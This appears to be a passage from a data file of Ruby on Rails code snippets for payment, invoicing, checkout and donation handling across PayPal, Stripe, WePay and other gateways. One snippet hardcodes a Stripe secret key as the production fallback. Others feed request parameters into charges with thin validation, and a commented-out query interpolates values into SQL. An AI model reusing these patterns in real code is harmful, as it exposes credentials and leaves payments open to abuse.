params[:invoicing_info][:payment_medium] == \"paypal\" \n #@current_object.make_paypal_payment((params[:invoice_amount].to_i),params) \n session[:paypal_amount] = params[:invoice_amount].to_i*100\n set_the_token#from here i need to redirect him to paypal after getting the token\n session[:invoice_id] = params[:invoice_id]\n session[:order] = @order\n session[:exhibition_id] = @order.exhibition.id\n session[:current_object_id] = @current_object\n render :update do |page|\n page[\"modal_space_answer\"].hide \n page[\"paypal_form\"].replace_html :partial=>\"paypal_form\",:locals=>{:token =>@token,:amt=>params[:invoice_amount].to_i}\n page.call 'submit_my_form'\n end\n return\n end\n elsif @order.instance_of? CompetitionsUser\n if @order.invoices.last \n total_amount = 0\n @order.invoices.each {|x| total_amount = total_amount + x.final_amount}\n if total_amount < @order.find_price(@order.competition.id) \n more_amount = (@order.find_price(@order.competition.id) ) - total_amount\n @current_object.amount_in_cents = more_amount * 100\n if params[:invoicing_info][:payment_medium] == \"visa\" or params[:invoicing_info][:payment_medium] == \"master card\" \n @current_object.common_wealth_bank_process((more_amount * 100),params)\n elsif params[:invoicing_info][:payment_medium] == \"cash\" or params[:invoicing_info][:payment_medium] == \"cheque\" or params[:invoicing_info][:payment_medium] == \"direct deposit\"\n elsif params[:invoicing_info][:payment_medium] == \"paypal\" \n @current_object.make_paypal_payment((more_amount * 100),params) \n end\n else\n render :text=>\"You Did not changed the entry field or if you decremented it then send email to admin \"\n return\n end \n else\n if params[:invoicing_info][:payment_medium] == \"visa\" or params[:invoicing_info][:payment_medium] == \"master card\" \n @current_object.common_wealth_bank_process(((@order.find_price(@order.competition.id) ) * 100),params)#payment is done if invoice is not yet created. for competition user\n elsif params[:invoicing_info][:payment_medium] == \"cash\" or params[:invoicing_info][:payment_medium] == \"cheque\" or params[:invoicing_info][:payment_medium] == \"direct deposit\"\n elsif params[:invoicing_info][:payment_medium] == \"paypal\" \n @current_object.make_paypal_payment(((@order.find_price(@order.competition.id) ) * 100),params) \n end \n end \n else #here it may be come that while working in this method and it fails somewhere and session[:purchasable] = nil. generaly this is not the normal case\n if @order.instance_of? Order\n make_order_payment\n return\n else\n render :text=>\"There Is Internal Error While Making the payment Please Try Go Back And Try Again<a href='/admin/profiles/#{current_user.id}'>Back</a> \"\n end\n return\n end#bank procedure if end\n\t\t#here after the payment is done what message is required to be sent is get decided and the invoice is get generated\n if @current_object.state == 'online_validated'\t # flash[:notice] = 'Your Payment Is Done And Invoice Will Be Sent To You By Email'\n if @order.instance_of? CompetitionsUser \n if @order and @order.invoices.last\n total_amount = 0\n @order.invoices.each {|x| total_amount = total_amount + x.final_amount}\n if total_amount < @order.find_price(@order.competition.id) \n make_the_payment\n render :partial=>\"extra_payment_done\",:locals=>{:competition=>@order.competition,:order=>@order} \n return \n else\n # flash[:error] = \"Your Payment Is Already Done Please Go To Home Page <a href='/admin/competitions/#{@order.competition.id}'>Go Back To see the competition</a>\"\n end\n render :text => @template.blank_main_div(:title => 'System error', :hsize => 'sixH', :modal => true), :layout => false\n return\n else \n make_the_payment\n end\n else\n if @order.instance_of? ExhibitionsUser \n make_the_payment_exhibition\n end\n end \n if @order.instance_of? ExhibitionsUser \n \n if params[:invoicing_info][:payment_medium] == \"cash\" or params[:invoicing_info][:payment_medium] == \"cheque\" or params[:invoicing_info][:payment_medium] == \"direct deposit\"\n render :text=>\"After Your Payment Is Done Admin Will Validate You. After That Your Artwork Will Be Selected. <a href='/admin/exhibitions/#{@order.exhibition.id}'>Select Artwork</a>\"\n else\n invoice = Invoice.find(:last,:conditions=>[\"purchasable_type = ? and client_id = ? and purchasable_id = ?\",\"ExhibitionsUser\" , @order.user,@order.id])\n \n if invoice.state == \"created\"\n alreadypaidamt = @order.price - invoice.final_amount\n note = \"no notes created\"\n note = @order.exhibition.timing.note if @order.exhibition.timing\n create_pdf(invoice.id,invoice.number,@order.exhibition.timing.starting_date.strftime(\"%d %b %Y\"),invoice.client.profile.full_address_for_invoice,invoice.client.profile.full_name_for_invoice,@order.exhibition.title,@order.price.to_i,note,@order.price - alreadypaidamt,alreadypaidamt,true,@order.exhibition.timing.ending_date,\"\")\n QueuedMail.add('UserMailer','send_invoice_exhibition',[@current_object.user.profile.email_address,\"invoice#{invoice.id}\",\"Your Exhibition Payment Is Done And An Invoice Is Sent to Your Email.\",invoice, @current_object.user],0,true,@current_object.user.profile.email_address,\"test@pragtech.co.in\") \n end \n \n #render :text=>\"Your Payment Is Done Now Upload And Then Select The Artworks <a href='/admin/exhibitions/#{@order.exhibition.id}'>Select Artwork</a>\"\n #render :partial => \"online_response_exhibition_payment\",:locals=>{:exhibition_user_id=>@order.id,:artwork_count=>0}\n add_exhibition_artwork_insamediv\n\t\t\t \n end \n elsif @order.instance_of? CompetitionsUser\n if params[:invoicing_info][:payment_medium] == \"cash\" or params[:invoicing_info][:payment_medium] == \"cheque\" or params[:invoicing_info][:payment_medium] == \"direct deposit\"\n #render :text=>\"After Your Payment Is Done Admin Will Validate You. After That Your Artwork Will Be Selected. Please Make The Payment Before #{@order.submission_date} <a href='/admin/competitions/#{@order.competition.id}'>Go Back To see the competition</a>\"\n render :partial=> \"cash_cheque_response\",:locals=>{:competition_id=>@order.competition.id,:artwork_count=>0,:order_id=>@order.id,:total_entry=>@order.total_entry}\n else\n #session[:total_entry] = @order.total_entry\n #render :update do |page|\n # session[:store_for_submitting_the_artwork] = @order.id\n #page[\"show_me_the_error\"].replace_html :partial=>\"add_artwork_link\",:locals=>{:competition_id=>@order.competition.id,:artwork_count=>0,:order_id=>@order.id}\n #end\n render :partial=>\"add_artwork_link\",:locals=>{:competition_id=>@order.competition.id,:artwork_count=>0,:order_id=>@order.id}\n #render :text=>\"Your Payment Is Done . The Invoice Is Sent To You By Email. <a href='/admin/competitions/#{@order.competition.id}'>Go Back To see the competition</a>\"\n end \t \n end\n else\n if params[:invoicing_info][:payment_medium] == \"cash\" or params[:invoicing_info][:payment_medium] == \"cheque\" or params[:invoicing_info][:payment_medium] == \"direct deposit\"\n if @order.instance_of? CompetitionsUser\n make_the_payment\n else\n make_the_payment_exhibition\n invoice = Invoice.find(:last,:conditions=>[\"purchasable_type = ? and client_id = ? and purchasable_id = ?\",\"ExhibitionsUser\" , @order.user,@order.id])\n if invoice.state == \"created\"\n note = \"no notes created\"\n note = @order.exhibition.timing.note if @order.exhibition.timing\n senttime \n if invoice.sent_at\n senttime = invoice.sent_at.strftime(\"%d %b %Y\")\n else\n senttime = Time.now.strftime(\"%d %b %Y\")\n end\n \n \n create_pdf(invoice.id,invoice.number,senttime,invoice.client.profile.full_address_for_invoice,invoice.client.profile.full_name_for_invoice,@order.exhibition.title,invoice.final_amount.to_i,note)\n \n QueuedMail.add('UserMailer', 'send_invoice_exhibition', [invoice, @order.user], 0, true)\n end \n end \n if @order.instance_of? CompetitionsUser \n # render :text=>\"After Your Payment Is Done Admin Will Validate You. After That Your Artwork Will Be Selected. Please Make The Payment Before #{@order.competition.submission_deadline} <a href='/admin/competitions/#{@order.competition.id}'>Go Back To see the competition</a>\"\n render :partial=> \"cash_cheque_response\",:locals=>{:competition_id=>@order.competition.id,:artwork_count=>0,:order=>@order,:total_entry=>@order.total_entry}\n return \n else\n #exhibition cash_cheque_response\n # render :partial => \"cash_cheque_response_exhibition\",:locals=>{:exhibition_user_id=>@order.id,:artwork_count=>0}\n #instead of this response i need to give the option to add the artwork to user\n \n render :update do |page|\n page[\"add_the_artwork0\"].replace_html :partial=>\"add_the_artwork_exhibition\",:locals=>{:exhibition_user_id => @order.id,:exhibition_id=>@order.exhibition.id,:messageforimageuploaded=>\"After Your Payment Is Done Admin Will Validate You. Please Upload The Artwork\"}\n page[\"description_competition_ex_py\"].hide\n page[\"enterartworkcompetition\"].show\n page[\"add_the_artwork0\"].show\n page[\"iteam_image0\"].show\n page[\"iteam_image_uploaded\"].hide\n \n end\n #render :text=>\"After Your Payment Is Done Admin Will Validate You. After That Your Artwork Will Be Selected. <a href='admin/exhibitions/#{@order.exhibition.id}'>Select Artwork</a>\"\n end \t \n return\n end\n\t \n #flash[:error] = 'Error during the payment save '+@current_object.state.to_s\n\t \n #render :partial => 'new', :layout => false\n render :text=>\"Your payment has not been successful. Please check your details and try again\"\n end\n\n end",
"def payout\n\t\t# if !current_user.merchant_id.blank?\n # \t\t\taccount = Stripe::Account.retrieve(current_user.merchant_id)\n # \t\t\t@login_link = account.login_links.create()\n\t\t# end\n end",
"def create_bill\n @customer_info = Sale.new(params[:sale])\n @customer_info.enquiry_from=params[:technician][:enquiry_from]\n @customer_info.delivery_person_name=params[:technician][:delivery_person_name]\n @customer_info.installation_person_name=params[:technician][:installation_person_name]\n bill_book_number = BillBookSeries.find(params[:bill_book_series][:id])\n available_invoice = Sale.find(:all, :conditions => [\"bill_book_number = ? AND invoice_number = ?\", bill_book_number.name, params[:bill_book_series][:current_invoice_number]])\n if(available_invoice == [])\n @customer_info.invoice_number=params[:bill_book_series][:current_invoice_number]\n @customer_info.bill_book_number = bill_book_number.name\n if (@customer_info.invoice_number.to_i == bill_book_number.current_invoice_number)\n bill_book_number.current_invoice_number = (bill_book_number.current_invoice_number).to_i + 1\n bill_book_number.update_attributes(bill_book_number.current_invoice_number)\n end\n else\n flash[:notice] = \"This invoice number is already used\"\n return redirect_to sales_sale_path\n end\n if @customer_info.save\n if params[:payment][:is_cash] == \"1\"\n @cash_payment = Payment.cash_payment(@customer_info,params[:payments][:cash_amount], params[:payments][:next_pay_date])\n end\n if params[:payment][:is_cheque] == \"1\"\n @cheque_payment = Payment.cheque_payment(@customer_info,params[:payment],params[:payments][:next_pay_date])\n end\n if params[:payment][:is_by_transfer] == \"1\"\n @online_payment = Payment.payment_transfer(@customer_info,params[:payments][:transfer_amount], params[:payments][:next_pay_date],params[:payments][:transfer_to_account_no])\n end\n if params[:payment][:is_by_card] == \"1\"\n @card_payment = Payment.card_payment(@customer_info,params[:payments][:card_paid_amount], params[:payments][:next_pay_date])\n end\n names = params[:product][:name]\n product_ids = params[:product][:description]\n serial_numbers = params[:product][:serial_number]\n service_types = params[:product][:service_type]\n quantities = params[:product][:quantity]\n rates = params[:product][:rate]\n product_ids.each_index do |index|\n if Order.accept_product(names[index],product_ids[index])\n reference_object = \"\"\n if !serial_numbers[index].blank?\n reference_object = ProductSerialNumber.find(serial_numbers[index])\n reference_object.update_attribute(:is_sold, true)\n else\n reference_object = Product.find(product_ids[index])\n end\n\n product_save = reference_object.sale_products.create(:sale_id => @customer_info.id, :quantity => quantities[index], :rate => rates[index], :service_type_id => service_types[index],:serial_number_reference_id => serial_numbers[index],:product_reference_id => product_ids[index])\n\n end\n end\n session[:sale_id] = @customer_info.id\n redirect_to sales_sale_path\n else\n render sales_sale_path\n end\n end",
"def check_associated\n if self.project_id.present? && self.payment_profile_id.present?\n project = Project.find(self.project_id)\n payment_profile = PaymentProfile.find(self.payment_profile_id)\n\n self.errors.add(:base, 'Payment stages must belong to the current project') if project.id != payment_profile.project_id\n end\n end",
"def create\n hash = {}\n if @investment_wizard.investment.id.present?\n invs = Investment.find(@investment_wizard.investment.id)\n @investment_wizard.investment.attributes.each do |attr|\n hash.merge!(attr[0].to_sym => attr[1] ) unless attr[0].in? ['id','created_at','updated_at']\n end\n\n hash.merge!(:status => 3) # change sttus to wait for payment\n invs.update_attributes(hash)\n\n generate_payouts(@investment_wizard.investment)\n\n session[:investment_attributes] = nil\n redirect_to pay_wizard_investment_path(investment: invs.id), notice: \"Investment successfully updated\"\n else\n if @investment_wizard.investment.save\n\n generate_payouts(@investment_wizard.investment)\n\n # Queue job to wait untill finish and change status\n InvestmentStatusCheckJob.set(wait_until: @investment_wizard.investment.end_date + 5.minutes).perform_later(@investment_wizard.investment.id)\n\n session[:investment_attributes] = nil\n @investment_wizard.investment.update_attributes(:status => 3) # change sttus to wait for payment\n redirect_to pay_wizard_investment_path(investment: @investment_wizard.investment.id), notice: \"Investment successfully created\"\n else\n redirect_to({action: Wizard::Investment::STEPS.first}, alert: \"There were a problem when creating a investment.\")\n end\n end\n\n end",
"def finalize_check_out\n manage_address_create\n\n manage_order_create\n\n # Or's work in sequence, so with this if check we avoid having lots of \n # nested if's.\n if (!@billing_address.valid? || !@shipping_address.valid? || !@order.valid? || !@billing_address.save || !@shipping_address.save || !@order.save)\n render 'check_out'\n end\n\n if @order.purchase\n @cart.mark_ordered\n if !@cart.save\n render 'check_out'\n end\n else\n render 'check_out'\n end\n\n end",
"def check_current_billing_in_use\n if Billing.current.where(:member_id => member_id).present? \n errors.add(:base, 'Tidak Dapat Membuat Billing Baru Jika Ada Billing Sebelumnya Yang Belum Di Tutup') \n end \n end",
"def create\n\n campaign_id = params[:campaign_id]\n credit_card_id = params[:credit_card_id]\n amount = params[:amount]\n\n #testing\n campaign = Campaign.find_by_id(campaign_id)\n user_id = campaign.user_id\n wepay_payment_type = \"credit_card\"\n if(amount>1)\n if(campaign!=nil)\n #create the payment object\n payment = Payment.new({\n campaign_id: campaign_id,\n payer_id: user_id,\n wepay_payment_id: credit_card_id,\n wepay_payment_type: wepay_payment_type,\n amount: amount\n })\n if !payment.valid?\n render json: error(payment.errors.full_messages)\n end\n if payment.valid? && payment.create_checkout && payment.save\n campaign.update_amount_donated\n render json: {\"checkout_id\" => payment[\"wepay_checkout_id\"]}\n else\n render json: payment_invalid_error\n end\n end\n end\n end",
"def all_params_present?\n unless params[:account] && params[:period] && params[:how_many]\n flash[:error] = 'Please enter all the details to automatically generate transactions.'\n redirect_to admin_accounts_url\n end\n end",
"def payin_created?\n transaction_status == 'PAYIN_CREATED'\n end",
"def create_checkout\n checkout_method = self.campaign.user.checkout_method\n checkout_params = {\n account_id: self.campaign.user.wepay_account_id,\n short_description: \"Donation to #{self.campaign.name}\",\n type: \"DONATION\",\n amount: self.amount.to_s,\n fee_payer: \"payer\",\n callback_uri: self.callback_uri,\n currency: self.currency,\n }\n if(checkout_method == \"iframe\")\n mode = \"iframe\"\n redir = Rails.application.secrets.host + \"/campaign/donation_success/#{self.campaign_id}/#{self.id}\"\n checkout_params[:mode] = mode\n checkout_params[:redirect_uri] = redir\n else\n checkout_params[:payment_method_type] = self.wepay_payment_type\n checkout_params[:payment_method_id] = self.wepay_payment_id\n end\n response = WEPAY.call(\"/checkout/create\", self.campaign.user.wepay_access_token, checkout_params)\n if response[\"error\"]\n throw response[\"error_description\"]\n end\n self.state = response[\"state\"]\n self.wepay_checkout_id = response[\"checkout_id\"]\n self.wepay_fee = response[\"fee\"]\n return response\n end",
"def checkout\n \n # there must be a payment\n @payment = session[:payment]\n if !@payment || !@payment.amount\n @message = \"Sorry an internal error has occured\"\n render :action => 'error'\n return\n end\n\n # the donation can change based on parameters supplied\n if @payment.amount < 1\n # collect both possible donations\n donation = params[:donation]\n donation2 = params[:donation2]\n donation2 = donation if donation2\n donation = donation2.to_i\n @payment.update_attributes( :amount => donation )\n end\n if @payment.amount < 1\n @message = \" bad donation amount entered. Please hit back and try again\"\n render :action => 'error'\n return\n end\n\n # capture the company match if there is one\n matching_company = params[:matching_company]\n if matching_company\n @payment.update_attributes( :matching_company => matching_company)\n end\n\n # try get a party if there is one passed - this overrides anything from before.\n @party = nil\n @party = User.find(params[:party].to_i) if params[:party]\n @partyid = 0\n @partyid = @party.id if @party\n @payment.update_attributes( :owner_id => @partyid ) if @partyid > 0\n \n #if @payment.owner_id == 0\n # @message = \"Sorry no person to donate to found\"\n # render :action => 'error'\n # return\n #end\n\n # move payment along to the next stage\n @payment.update_attributes( :description=> Payment::CHECKOUT , :amount => donation )\n\n @notify_url = url_for(\n :controller=>\"payment\",\n :action => 'payment_received',\n :id => @payment.id,\n :only_path => false\n )\n\n @return_url = url_for(\n :controller=>\"payment\",\n :action => 'confirm_standard',\n :only_path => false\n )\n\n @paypal_business_email = SETTINGS[:paypal_business_email]\n @business_key = PAYPAL_MYPRIVKEY\n @business_cert = PAYPAL_MYPUBCERT\n @business_certid = SETTINGS[:paypal_cert]\n @action_url = \"http://www.paypal.com/cgi-bin/webscr\"\n Paypal::Notification.ipn_url = @action_url\n Paypal::Notification.paypal_cert = PAYPAL_CERT\n\n end",
"def create_invoice\n invoice_data = {\n payplan_id: self.payplan.id, \n payertype: \"fiz\", \n paymenttype: \"creditcard\", \n service_handle: self.payplan.service_handle \n }\n if self.status\n if self.payplan_id == Payplan.favorite_free_id\n invoice = Invoice.create(invoice_data.merge!(status: \"Оплачен\"))\n payment = invoice.get_payment.update(paymentdate: Date.today, status: \"Оплачен\")\n else\n invoice = Invoice.create(invoice_data)\n end\n end\nend",
"def never_billed?\n self[:paid_until].blank?\n end",
"def store_payout(attributes = {})\n request = store_request('Payout.storeDetail', attributes)\n execute_request(request)\n end",
"def check_for_promo_payment\n if !self.service_promo_id.nil? && !self.payed_booking_id.nil? && self.payed && self.trx_id != \"\"\n return true\n else\n return false\n end\n end",
"def create\n @checkin = Checkin.new(checkin_params)\n\n unless (@checkin.valid?)\n if (params[:checkin][:m_email] != nil && params[:checkin][:m_email].length > 4 && params[:checkin][:m_paid] != nil)\n tmpMember = Member.find_by_studentid(@checkin.studentid)\n if tmpMember == nil\n tmpMember = Member.new({:studentid => @checkin.studentid})\n end\n tmpMember.name = params[:checkin][:m_name]\n tmpMember.email = params[:checkin][:m_email]\n tmpMember.paid = params[:checkin][:m_paid]\n tmpMember.save\n end\n end\n\n respond_to do |format|\n if @checkin.save\n format.html { redirect_to new_checkin_path, notice: 'Checkin was successfully created.' }\n format.json { render action: 'show', status: :created, location: @checkin }\n else\n format.html {\n @membr = Member.find_by_studentid(@checkin.studentid)\n if @membr == nil\n @membr = Member.new\n end\n render action: 'new'\n }\n format.json { render json: @checkin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @invoice.attributes = params[:invoice]\n @credit_card = ActiveMerchant::Billing::CreditCard.new(params[:active_merchant_billing_credit_card])\n\n respond_to do |wants| \n wants.html do\n if (!@invoice.paying_with_credit_card? || @credit_card.valid?) && @invoice.save then \n \n @survey.billing_info_received!(current_association)\n\n redirect_to survey_path(@survey)\n else\n render :action => :new\n end\n end \n end\n end",
"def create\n @payment = Payment.new(payment_params)\n\n respond_to do |format|\n if @payment.save\n # check_entry = CheckEntry.find_by_check_code(@payment.payment_check_code)\n # @payment.update_attributes(:check_entry_id => check_entry.id) if check_entry\n\n format.html { redirect_to @payment, notice: 'Payment was successfully created.' }\n format.json { render json: @payment, status: :created, location: @payment }\n else\n p @payment.errors.to_yaml\n format.html { render action: \"new\" }\n format.json { render json: @payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t# @payment = Payment.new({\n\t\t# :intent => \"sale\",\n\t\t# :payer => {\n\t\t# :payment_method => \"credit_card\",\n\t\t# :funding_instruments => [{\n\t\t# :credit_card => {\n\t\t# \t:type => params[:payment][:card_type], #\"visa\",\n\t\t# :number => params[:payment][:card_number], #\"4242424242424242\",\n\t\t# :expire_month => params[:payment][\"card_expires_on(2i)\"], #\"1\",\n\t\t# :expire_year => params[:payment][\"card_expires_on(1i)\"], #\"2018\",\n\t\t# :cvv2 => params[:payment][:cvv2], #\"874\",\n\t\t# :first_name => params[:payment][:first_name], #\"Joe\",\n\t\t# :last_name => params[:payment][:last_name], #\"Shopper\",\n\t\t# :billing_address => {\n\t\t# :line1 => params[:payment][:address], #\"52 N Main ST\",\n\t\t# :city => params[:payment][:city], #\"Johnstown\",\n\t\t# :state => params[:payment][:state], #\"OH\",\n\t\t# :postal_code => params[:payment][:postal_code], #\"43210\",\n\t\t# :country_code => params[:payment][:country_code] #\"US\" \n\t\t# }}}]},\n\t\t# :transactions => [{\n\t\t# :amount => {\n\t\t# :total => \"10.00\",\n\t\t# :currency => \"USD\" },\n\t\t# :description => \"This is the payment transaction description.\" }]})\n\n\t\t# @payment.create\n\t\t# if @payment.id.nil?\n\t\t# \terror = @payment.error\n\t\t# \tredirect_to payment_index_url, :alert => error.name+\"\\n\"+error.details.to_s\n\t\t# else\n\t\t# \tparams[:payment][:transaction_id] = @payment.id\n\t\t# \tparams[:payment][:amount] = 10\n\t\t# \t@data = current_user.build_payment(payment_params)\n\t\t# \tif @data.save\n\t\t# \t\tredirect_to payment_index_url, :notice => \"Payment Done with payment id #{@payment.id}\"\n\t\t# \telse\n\t\t# \t\tredirect_to payment_index_url, :alert => \"Something went wrong.\"\n\t\t# \tend\n\t\t# end\n\tend",
"def check(payment)\n retval\n end",
"def can_supply?\n payment_received? || payment_on_account?\n end",
"def create\n default_payment_attributes = {}\n\n if params[:installment]\n @installment = @membership.installments.create(installment_params)\n end\n\n if @installment || params[:transaction][:installment_ids] || (params[:installment_id] && @installment = @membership.installments.find(params[:installment_id]))\n if params[:transaction][:installment_ids]\n default_payment_attributes = {\n :installment_ids => params[:transaction][:installment_ids],\n :type => \"Credit\"\n } \n \t\n \tif @membership.present?\n \t default_payment_attributes[:description] = \"Multiple Installment Payment - #{@membership.contact.name}\"\n \telse\n default_payment_attributes[:description] = \"Multiple Installment Payment\"\n \tend\n else\n \tdefault_payment_attributes = {\n :installment_ids => [@installment.id],\n :description => \"Installment Payment - #{@membership.contact.name} - #{@installment.due_on.strftime('%B %Y')}\",\n :type => \"Credit\",\n :amount => @installment.value\n }\n\n default_payment_attributes[:report_at] = @installment.due_on if params[:transaction][:report_at_option] == 'due_date'\n end\n\n @redirect_url = session.delete(:return_to) || overview_business_memberships_path(@business)\n elsif request.path.include?(\"enrollment\") && @enrollment = @membership.enrollment\n default_payment_attributes = {\n :enrollment_ids => [@enrollment.id],\n :description => \"Enrollment Payment - #{@membership.contact.name}\",\n :type => \"Credit\",\n :amount => @enrollment.value\n }\n\n default_payment_attributes[:report_at] = @enrollment.enrolled_on if params[:transaction][:report_at_option] == 'due_date'\n\n @redirect_url = business_membership_enrollment_path(@business,@membership)\n elsif params[:sale_id] && @sale = @business.sales.find(params[:sale_id])\n default_payment_attributes = {\n :sale_ids => [@sale.id],\n :description => \"Sale Payment - Contact:#{@sale.try(:contact).try(:name)} - Product: #{@sale.try(:product).try(:name)} - Agent: #{@sale.try(:agent).try(:name)}\",\n :type => \"Credit\",\n :amount => @sale.try(:product).try(:price)\n }\n\n default_payment_attributes[:report_at] = @sale.sold_on if params[:transaction][:report_at_option] == 'due_date'\n\n @redirect_url = business_sale_path(@business, @sale)\n end\n\n @transaction = @business.trans.new((transaction_params || {}).reverse_merge!(default_payment_attributes))\n @transaction.save\n end",
"def test_successful_purchase_without_address_check2\n @solo.number = '633499110000000003'\n\n response = @gateway.purchase(@amount, @solo, @params)\n assert_success response\n assert response.test?\n end",
"def pay!\n #soap_server = VendorPayment.generate_soap_server\n #token = VendorPayment.generate_usa_epay_security_token\n #custNum = observed.vendor_payment_period.store.id\n #paymentMethodID = nil\n #parameters = generate_transaction_request\n #response = soap_server.runCustomerTransaction(token, custNum, paymentMethodID, parameters)\n #\n if self.vendor_payment_period.store.usa_epay_customer_number.blank?\n self.errors['usa_epay_customer_number'] = \"The USA ePay custNum must be set before a payment can be made.\"\n return\n end\n gateway = VendorPayment.gateway\n payment_methods_response = gateway.get_customer_payment_methods(:customer_number => self.vendor_payment_period.store.usa_epay_customer_number)\n monthly_transfer_method = nil\n items = if payment_methods_response.params['get_customer_payment_methods_return']\n payment_methods_response.params['get_customer_payment_methods_return']['item']\n else\n []\n end\n \n if items.is_a?(Hash)\n items = [items]\n end\n \n items.each do |payment_method|\n if payment_method['method_name'].strip == 'Monthly ACH Transfer'\n monthly_transfer_method = payment_method\n end\n end\n \n if monthly_transfer_method\n response = gateway.run_customer_transaction(:customer_number => self.vendor_payment_period.store.usa_epay_customer_number,\n :command => 'CheckCredit',\n # USA ePay does pennies for the amount, so it needs to be\n # multiplied by 100\n :payment_method_id => monthly_transfer_method['method_id'],\n :amount => self.amount * 100)\n \n \n self.state = if response.message['result_code'].strip == 'A'\n VendorPayment.status_codes[response.message['status_code']]\n else\n VendorPayment.status_codes[\"E\"]\n end\n self.response_data = YAML::dump(response)\n if !response.message['ref_num'].blank?\n self.response_code = response.message['ref_num']\n save\n else\n save\n self.errors['transaction'] = \"State: #{self.state}. There was an error with code #{response.message['error_code']}, while trying to make the payment. Check USA ePay for reference number #{response.message['ref_num']} if necessary.\\n\\nFull Message: #{response.message.inspect}\"\n end\n self.vendor_payment_period.update_payment_total!\n self.vendor_payment_period.update_state!\n else\n self.errors['payment_method'] = \"There is no payment method on the vendor called 'Monthly ACH Transfer'\"\n end\n end",
"def create\n @user = User.find_by(id: payment_params[:user_id])\n # puts @user.name\n if (@user)\n #set user entered params\n @payment = Payment.new\n @payment.user_id = payment_params[:user_id]\n @payment.routing_number = payment_params[:routing_number]\n @payment.account_number = payment_params[:account_number]\n @payment.account_name = payment_params[:account_name]\n if (payment_params[:account_type] != \"checking\" && payment_params[:account_type] != \"savings\")\n @payment.account_type = \"checking\"\n else\n @payment.account_type = payment_params[:account_type]\n end\n\n #set dwolla generated params\n @payment.customer = Payment.create_dwolla_customer(@user)\n @payment.funding_source = Payment.link_funding_source(@payment)\n Payment.verify_customer(@payment.funding_source)\n\n if @payment.save\n render :show, status: :created, location: @payment\n else\n render json: @payment.errors, status: :unprocessable_entity\n end \n\n else\n render json: @payment.errors, status: :unprocessable_entity\n end\n end",
"def merchant?\n merchant.present?\n end",
"def paid?\n date_paid_out.present?\n end",
"def create\n @invoice = Invoice.find(params[:invoice_id])\n @payment = Payment.new(payment_params)\n respond_to do |format|\n if @invoice.payments << @payment\n total = @invoice.payments.sum(\"price\")\n if total == @invoice.total || total > @invoice.total\n res = total - @invoice.total if total > @invoice.total\n @invoice.member.update_attributes(payment_add: res)\n @invoice.update_attributes(status: 2)\n end\n format.html { redirect_to @invoice, notice: 'Payment was successfully created.' }\n format.json { render action: 'show', status: :created, location: @payment }\n else\n format.html { render action: 'new' }\n format.json { render json: @payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n bikes = Bike.all\n bikes.each do |bike|\n if bike.next_date_inspected == Time.now.in_time_zone\n bike.passed_inspection = false\n end\n end\n create_checkout_values\n respond_to do |format|\n if @checked_out.save\n create_bike_values\n UserMailer.check_out_email(@checked_out.user).deliver\n format.html { redirect_to home_check_out_path, notice: \"The bike was successfully checked out by #{@checked_out.user.email}.\" }\n format.json { render action: 'show', status: :created, location: @checked_out }\n else\n format.html { redirect_to home_check_out_path, :flash => @checked_out.errors }\n format.json { render json: @checked_out.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n pr params\n pr payu_verify_return\n # IF payed, push to queue - onl once\n # todo\n end",
"def payment\n\n check = SubscribedPlan.find_by_plan_id_and_user_id(params[:plan_id],current_user.id)\n #users can buy more tickets\n if check\n if !check.num_guests\n check.num_guests = 0\n end\n if !check.amount\n check.amount = 0\n end\n check.num_guests = check.num_guests + params[:qty].to_i \n check.amount = check.amount + params[:amount].to_i\n check.discount_code = params[:discount_code]\n check.extra_info = \"#{check.extra_info} \\n #{params[:extra_info]}\"\n check.discount = check.discount.to_i + params[:discount].to_i\n check.donation = check.donation.to_i + params[:donation].to_i\n check.save!\n @subscribed = check\n @plan = Plan.find(params[:plan_id])\n @attendees = User.sort_photos_first.find(:all, :joins=>:subscribed_plans, :conditions=>[\"subscribed_plans.plan_id =?\",params[:plan_id]])\n \n else\n sign_up_plan\n @subscribed.amount = params[:amount]\n @subscribed.num_guests = params[:qty].to_i - 1\n @subscribed.extra_info = params[:extra_info]\n @subscribed.discount = params[:discount]\n @subscribed.donation = params[:donation]\n @subscribed.discount_code = params[:discount_code]\n @subscribed.save!\n end\n \n \n if params[:tickets]\n parsed_json = ActiveSupport::JSON.decode(params[:tickets])\n ticketHolders = ActiveSupport::JSON.decode(params[:ticketHolders])\n \n \n num = 0\n for ticket in parsed_json[\"tickets\"]\n #check = TicketPurchase.find(:first, :conditions=>\"subscribed_plan_id = #{@subscribed.id} and plan_id=#{@plan.id} and user_id=#{current_user.id} and ticket_id=#{ticket['id']}\")\n #if check\n # check.qty = check.qty + ticket[\"qty\"].to_i\n # check.amount = check.amount + ticket[\"amount\"].to_i\n # check.save!\n #else\n \n (1..ticket[\"qty\"].to_i).each do |i|\n \n @ticket = TicketPurchase.create(:subscribed_plan_id => @subscribed.id, :plan_id => @plan.id, :payer_user_id=>current_user.id, :ticket_id=>ticket[\"id\"], :amount=>ticket[\"amount\"])\n random = SecureRandom.hex(10)\n qr_code = \"#{@ticket.id}-#{random}\"\n @ticket.qr_code = qr_code\n \n @ticket.user_email = ticketHolders[num][\"user_email\"]\n @ticket.user_name = ticketHolders[num][\"user_name\"]\n \n if @ticket.user_email == current_user.email\n @ticket.user_id = current_user.id\n end\n \n if ticketHolders.length == 1 and ticketHolders[0][\"user_email\"] == \"\"\n @ticket.user_id = current_user.id\n end\n \n \n @ticket.save\n \n num = num + 1\n \n end \n end\n end\n\n token = params[:token]\n \n if Rails.env == \"production\"\n \n if @plan.group and @plan.group.stripe_private\n Stripe.api_key = @plan.group.stripe_private\n else\n Stripe.api_key = \"v5iEXYC6gDJ849q648HgP20UJ5HbVOU5\"\n end\n \n customer = Stripe::Customer.create(:card => token, :description => \"#{current_user.id} | #{current_user.first_name} #{current_user.last_name} | #{current_user.email} | plan: #{@plan.id}\" )\n \n charge = Stripe::Charge.create(\n :amount => params[:amount].to_i, # in cents2\n :currency => \"usd\",\n :customer => customer.id\n )\n \n current_user.stripe_id = customer.id\n current_user.active_card = \"#{charge.card.type} ending in #{charge.card.last4} (#{charge.card.exp_month}/#{charge.card.exp_year})\"\n current_user.save!\n \n @subscribed.charge_id = charge.id\n @subscribed.save!\n \n end\n \n if @plan.price and @plan.price > 0\n if current_user.discount_active == true\n current_user.discount_active = false\n current_user.save\n end \n end\n\n #Postoffice.deliver_confirmation(current_user,@plan,@subscribed)\n 